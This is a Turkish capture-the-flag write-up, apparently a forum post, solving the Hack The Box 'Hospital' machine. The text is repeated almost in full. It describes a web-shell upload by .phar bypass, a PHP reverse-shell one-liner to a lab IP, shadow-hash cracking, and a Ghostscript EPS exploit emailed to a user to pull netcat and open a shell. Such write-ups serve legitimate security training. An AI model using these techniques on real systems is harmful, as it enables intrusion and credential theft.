Emre Aktaş tarafından yazılmıştır.
Selamlar, bu yazımda HacktheBox platformunda bulunan Hospital makinesinin çözümünü birlikte gerçekleştirmeye çalışacağız.
etc/hosts dosyamızda gerekli düzenlemeyi yaptıktan sonra ilk olarak web sayfasına erişmeye çalışıyorum. Bu sırada arkada bir nmap çalıştırmak süreci hızlandıracaktır.
Bir login paneli ile karşılaştık burada farklı senaryolar uygulayabiliriz fakat arkada çalışan nmap çıktımıza bir göz atalım.
Hedefte atak vektörü sayılabilecek bir çok nokta var. Fakat ilgimizi ilk çekmesi gereken noktalardan bir tanesi 8080 portunda çalışan bir web servisi.
Buradada bir login paneli ile karşılaşıyoruz. Fakat fark ederseniz “Make one” adında bir seçeneğin bize sunulduğunu yani hesap oluşturabileceğimizi fark etmemiz gerekiyor.
Bir hesap oluşturduktan sonra bu hesap ile giriş yapmaya çalışalım.
Bir file upload saldırısı gerçekleştirmemiz gerekli gibi gözüküyor.
Bu senaryo için karşıya bir web shell yüklemeye çalışalım. php uzantılı doyaları kabul etmediğini bu durumda file upload bypass yöntemlerimizi denememiz gerektiğini anlamalıyız.
Denemelerimiz sonrası phar uzantılı dosyaları kabul ettiğini fark edebilmemiz gerekiyor. Şimdi karşı sunucuya web shell’imizi yükleyebildiğimizi varsayarak devam ediyorum.
Ben burada p0wny-shell’i kullanıyorum. Fakat siz daha farklı web shell’leri ilede denemelerinizi gerçekleştirebilirsiniz.
Dosyamızı yükledik fakat karşıda komut çalıştırabilmemiz için shell’imizi yüklediğimiz dizine gitmemiz gerekiyor. Bunun için dizin keşfi yaparak yüklediğimiz shell’in nereye yüklendiğiniz bulmaya çalışalım.
Uploads dizini olduğunu görüyoruz ve muhtemel olarak yüklediğimiz shell’in burada olduğunu düşünebiliriz. İlgili dizine aşağıdaki şekilde erişmeye çalışıyoruz.
Ve web shell’imizi başarı ile alabilmemiz gerekiyor.
Web shell’imizi aldıktan sonra bunu reverse shell’e çevirebiliriz. Yukarıdaki payload’ı kullanarak reverse shell’imizi alabilmemiz gerekiyor.
Ve yetki yükseltebileceğim olanakları arıyorum. Karşıya linpeas.sh aktarıp çıktıları inceliyoruz. Bu işlemi yapmadan önce süreci hızlandırabilmek adına manuel olarak yetki yükseltebileceğimiz bazı işlemlerdede bulunabiliriz.
İşletim sistemi bilgisinden yola çıkarak Ubuntu 23.04 üzerine bir araştırma yaptığımız zaman privilege escalation exploit’i ile karşılaşmamız gerekiyor. Örnek olarak burada karşı tarafa linpeas.sh dosyasınıda atmadan cat /etc/os-release dosyasınıda okuyarak bu bilgiyi görüntüleyebilirdik.
Exploiti uyguladıktan sonra root yetkisi kazanabilmemiz gerekmektedir. Root yetkisi kazandığımızı varsayarak devam ediyorum.
etc/passwd ve etc/shadow dosyalarının içeriğine bakarak buradan drwilliams isminde bir kullanıcının olduğunu ve bu kullanıcının shadow dosyasında hash bilgilerinin tutulduğunu bilmemiz gerekiyor.
Elemanın parola bilgisini elde edebilmek için john aracını kullanalım. Parolayı kırabilmeniz için rehber niteliğinde bir link bırakıyorum.
Bulduğumuz credentials bilgileri ile başta karşılaşmış olduğumuz login paneline girmeye çalışalım.
Gelen kutusundaki maili incelediğimiz vakit drbrown ismindeki elemanın .eps uzantılı bir dosya beklediğini, bununda GhostScript adında görüntülenebilmesini sağlayan bir teknoloji içerdiğini öğreniyoruz.
Ghostscript’e dair bir araştırma yapmamız gerekli gibi. Uzaktan kod çalıştırabileceğimiz (Remote Code Execution) bir güvenlik açığı olduğunu fark ediyoruz.
Tam da bu aşamada file.eps dosyasını kullanarak karşıda komut çalıştırabileceğimizi fark edebilmemiz gerekiyor. İlk olarak karşı tarafa kendi bilgisayarımızdan bir zararlı aktararak daha sonra bu zararlııyı tetikleyerek karşı taraftan shell almaya çalışabiliriz.
Öncelikle zararlı dosyamızı oluşturalım.
Zararlı dosyamızı oluşturduktan sonra mail’i drbrown’a göndermemiz gerekiyor.
Oluşturduğumuz file.eps dosyasının karşı tarafta başarılı bir şekilde çalışabilmesi için kendi bilgisayarımızda bir http.server başlatalım.
Görüldüğü üzere nc64.exe dosyamızın karşı tarafa başarıyla aktarılabildiğini görüyoruz. Burada önemli olan bir durum http.server’ınızı nc64.exe zararlınızın olduğu dizinde başlatmamız gerektiği.
Şimdi bu dosyayı tetikleyerek karşı taraftan shell alabilmemiz gerekiyor.
Karşı tarafa yüklediğimiz zararlı dosyamızı tetikleyebilmek için exploit’imizi kullanarak file.eps dosyasında yukarıdaki gibi bazı değişiklikler yapmamız gerekiyor.
Bu değişiklikleri yaptıktan sonra tekrar mail’i göndermemiz gerekiyor fakat gönderim sağlamadan önce makinenizde bir netcat dinleyicisi başlattığınızdan emin olun.
Bir kaç saniye sonra bağlantının geldiğini göreceksiniz. Olduğumuz dizini listeledigimiz zaman ghostscript.bat şeklinde bir dosyanın bizi karşıladığını görmekteyiz.
İçeriğini okuyabilmek adına windows’da type komutunu kullanıyorum.
Görünüşe göre drbwron’un parola bilgisini elde etmiş olduk. Bu credentials bilgisini kullanarak ne yapabileceğimize bir bakmamız gerekiyor.
İlk nmap çıktımıza tekrar bir dönmemiz gerekecek. Burada rpclient’in açık olduğunu fark edeceksiniz. Bağlantı kurmaya çalışalım.
Başarı ile bağlanabildiğimizi görüyoruz. Daha sonra querydispinfo komutunu gerçekleştirerek verileri inceleyelim. Burada yönetici (Administrator) bilgilerinin misafir (Guest) ile paylaşıldığını fark edebilmemiz gerekiyor.
Bundan ötürü C:\xampp\htdocs\ dizinine gitmemiz gerekiyor.
Buraya p0wny-shell’imizi yükleyip url’den ilgili dizine erişmeye çalıştığımız zaman nt authority seviyesinde bir ayrıcalık kazandığımızı fark ediyoruz.
Selamlar, bu yazımda HacktheBox platformunda bulunan Hospital makinesinin çözümünü birlikte gerçekleştirmeye çalışacağız.
etc/hosts dosyamızda gerekli düzenlemeyi yaptıktan sonra ilk olarak web sayfasına erişmeye çalışıyorum. Bu sırada arkada bir nmap çalıştırmak süreci hızlandıracaktır.
Bir login paneli ile karşılaştık burada farklı senaryolar uygulayabiliriz fakat arkada çalışan nmap çıktımıza bir göz atalım.
Hedefte atak vektörü sayılabilecek bir çok nokta var. Fakat ilgimizi ilk çekmesi gereken noktalardan bir tanesi 8080 portunda çalışan bir web servisi.
Buradada bir login paneli ile karşılaşıyoruz. Fakat fark ederseniz “Make one” adında bir seçeneğin bize sunulduğunu yani hesap oluşturabileceğimizi fark etmemiz gerekiyor.
Bir hesap oluşturduktan sonra bu hesap ile giriş yapmaya çalışalım.
Bir file upload saldırısı gerçekleştirmemiz gerekli gibi gözüküyor.
Bu senaryo için karşıya bir web shell yüklemeye çalışalım. php uzantılı doyaları kabul etmediğini bu durumda file upload bypass yöntemlerimizi denememiz gerektiğini anlamalıyız.
Denemelerimiz sonrası phar uzantılı dosyaları kabul ettiğini fark edebilmemiz gerekiyor. Şimdi karşı sunucuya web shell’imizi yükleyebildiğimizi varsayarak devam ediyorum.
Ben burada p0wny-shell’i kullanıyorum. Fakat siz daha farklı web shell’leri ilede denemelerinizi gerçekleştirebilirsiniz.
Dosyamızı yükledik fakat karşıda komut çalıştırabilmemiz için shell’imizi yüklediğimiz dizine gitmemiz gerekiyor. Bunun için dizin keşfi yaparak yüklediğimiz shell’in nereye yüklendiğiniz bulmaya çalışalım.
Uploads dizini olduğunu görüyoruz ve muhtemel olarak yüklediğimiz shell’in burada olduğunu düşünebiliriz. İlgili dizine aşağıdaki şekilde erişmeye çalışıyoruz.
Ve web shell’imizi başarı ile alabilmemiz gerekiyor.
php -r ‘$sock=fsockopen(“10.10.16.16”,4242);exec(“/bin/sh -i <&3 >&3 2>&3”);’
Web shell’imizi aldıktan sonra bunu reverse shell’e çevirebiliriz. Yukarıdaki payload’ı kullanarak reverse shell’imizi alabilmemiz gerekiyor.
Ve yetki yükseltebileceğim olanakları arıyorum. Karşıya linpeas.sh aktarıp çıktıları inceliyoruz. Bu işlemi yapmadan önce süreci hızlandırabilmek adına manuel olarak yetki yükseltebileceğimiz bazı işlemlerdede bulunabiliriz.
İşletim sistemi bilgisinden yola çıkarak Ubuntu 23.04 üzerine bir araştırma yaptığımız zaman privilege escalation exploit’i ile karşılaşmamız gerekiyor. Örnek olarak burada karşı tarafa linpeas.sh dosyasınıda atmadan cat /etc/os-release dosyasınıda okuyarak bu bilgiyi görüntüleyebilirdik.
Exploiti uyguladıktan sonra root yetkisi kazanabilmemiz gerekmektedir. Root yetkisi kazandığımızı varsayarak devam ediyorum.
etc/passwd ve etc/shadow dosyalarının içeriğine bakarak buradan drwilliams isminde bir kullanıcının olduğunu ve bu kullanıcının shadow dosyasında hash bilgilerinin tutulduğunu bilmemiz gerekiyor.
Elemanın parola bilgisini elde edebilmek için john aracını kullanalım. Parolayı kırabilmeniz için rehber niteliğinde bir link bırakıyorum.
Bulduğumuz credentials bilgileri ile başta karşılaşmış olduğumuz login paneline girmeye çalışalım.
Gelen kutusundaki maili incelediğimiz vakit drbrown ismindeki elemanın .eps uzantılı bir dosya beklediğini, bununda GhostScript adında görüntülenebilmesini sağlayan bir teknoloji içerdiğini öğreniyoruz.
Ghostscript’e dair bir araştırma yapmamız gerekli gibi. Uzaktan kod çalıştırabileceğimiz (Remote Code Execution) bir güvenlik açığı olduğunu fark ediyoruz.
Tam da bu aşamada file.eps dosyasını kullanarak karşıda komut çalıştırabileceğimizi fark edebilmemiz gerekiyor. İlk olarak karşı tarafa kendi bilgisayarımızdan bir zararlı aktararak daha sonra bu zararlııyı tetikleyerek karşı taraftan shell almaya çalışabiliriz.
Öncelikle zararlı dosyamızı oluşturalım.
Zararlı dosyamızı oluşturduktan sonra mail’i drbrown’a göndermemiz gerekiyor.
Oluşturduğumuz file.eps dosyasının karşı tarafta başarılı bir şekilde çalışabilmesi için kendi bilgisayarımızda bir http.server başlatalım.
Görüldüğü üzere nc64.exe dosyamızın karşı tarafa başarıyla aktarılabildiğini görüyoruz. Burada önemli olan bir durum http.server’ınızı nc64.exe zararlınızın olduğu dizinde başlatmamız gerektiği.
Şimdi bu dosyayı tetikleyerek karşı taraftan shell alabilmemiz gerekiyor.
Karşı tarafa yüklediğimiz zararlı dosyamızı tetikleyebilmek için exploit’imizi kullanarak file.eps dosyasında yukarıdaki gibi bazı değişiklikler yapmamız gerekiyor.
Bu değişiklikleri yaptıktan sonra tekrar mail’i göndermemiz gerekiyor fakat gönderim sağlamadan önce makinenizde bir netcat dinleyicisi başlattığınızdan emin olun.
Bir kaç saniye sonra bağlantının geldiğini göreceksiniz. Olduğumuz dizini listeledigimiz zaman ghostscript.bat şeklinde bir dosyanın bizi karşıladığını görmekteyiz.
İçeriğini okuyabilmek adına windows’da type komutunu kullanıyorum.
Görünüşe göre drbwron’un parola bilgisini elde etmiş olduk. Bu credentials bilgisini kullanarak ne yapabileceğimize bir bakmamız gerekiyor.
İlk nmap çıktımıza tekrar bir dönmemiz gerekecek. Burada rpclient’in açık olduğunu fark edeceksiniz. Bağlantı kurmaya çalışalım.
Başarı ile bağlanabildiğimizi görüyoruz. Daha sonra querydispinfo komutunu gerçekleştirerek verileri inceleyelim. Burada yönetici (Administrator) bilgilerinin misafir (Guest) ile paylaşıldığını fark edebilmemiz gerekiyor.
Bundan ötürü C:\xampp\htdocs\ dizinine gitmemiz gerekiyor.
Buraya p0wny-shell’imizi yükleyip url’den ilgili dizine erişmeye çalıştığımız zaman nt authority seviyesinde bir ayrıcalık kazandığımızı fark ediyoruz.
Moderatör tarafında düzenlendi: